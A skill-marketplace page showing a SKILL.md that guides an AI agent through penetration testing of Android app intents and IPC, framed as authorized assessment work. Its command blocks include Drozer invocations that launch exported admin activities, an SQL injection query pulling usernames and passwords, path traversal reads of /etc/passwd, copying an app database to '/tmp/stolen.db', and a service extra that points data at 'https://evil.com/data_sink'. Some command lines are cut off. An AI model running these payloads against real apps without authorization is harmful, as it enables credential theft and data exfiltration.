testing-android-intents-for-vulnerabilities

Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.

설치로 이동

저장소: mukul975/Anthropic-Cybersecurity-Skills
최근 소스 활동: 2026년 6월 1일 10:13
감지된 SKILL.md 언어: 영어
스타: 27,732
포크: 3,366

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

검색으로 돌아가기 설치로 돌아가기

name	testing-android-intents-for-vulnerabilities
description	Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.
domain	cybersecurity
subdomain	mobile-security
author	mahipal
tags	["mobile-security","android","intents","ipc-security","owasp-mobile","penetration-testing"]
version	1.0.0
license	Apache-2.0
nist_csf	["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"]
mitre_attack	["T1059","T1056","T1036","T1078","T1055"]

Testing Android Intents for Vulnerabilities

When to Use

Use this skill when:

Assessing Android app exported activities, services, receivers, and content providers
Testing for intent injection and unauthorized component invocation
Evaluating broadcast receiver security for sensitive data exposure
Performing IPC-focused penetration testing on Android applications

Do not use on production devices without explicit authorization.

Prerequisites

Rooted Android device or emulator with ADB
Drozer agent installed on target device (drozer agent.apk)
Drozer console on host (pip install drozer)
Target APK decompiled with apktool for AndroidManifest.xml analysis
Frida for runtime intent monitoring

Workflow

Step 1: Enumerate Exported Components

# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app

# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported

# List exported activities
run app.activity.info -a com.target.app

# List exported services
run app.service.info -a com.target.app

# List exported receivers
run app.broadcast.info -a com.target.app

# List content providers
run app.provider.info -a com.target.app

Step 2: Test Exported Activities

# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity

# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337

# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app

# If admin activity opens without auth, report as authorization bypass

Step 3: Test Broadcast Receivers


run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount  --extra string recipient 


run app.broadcast.sniff --action com.target.app.USER_LOGIN


adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email

# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"

# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"

# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app

// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});

# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"

run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj

Term	Definition
Exported Component	Android component (activity/service/receiver/provider) accessible to other apps on the device
Intent	Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based)
Pending Intent	Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients
Content Provider	Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized
Broadcast Receiver	Component receiving system or app broadcasts; exported receivers can be triggered by any app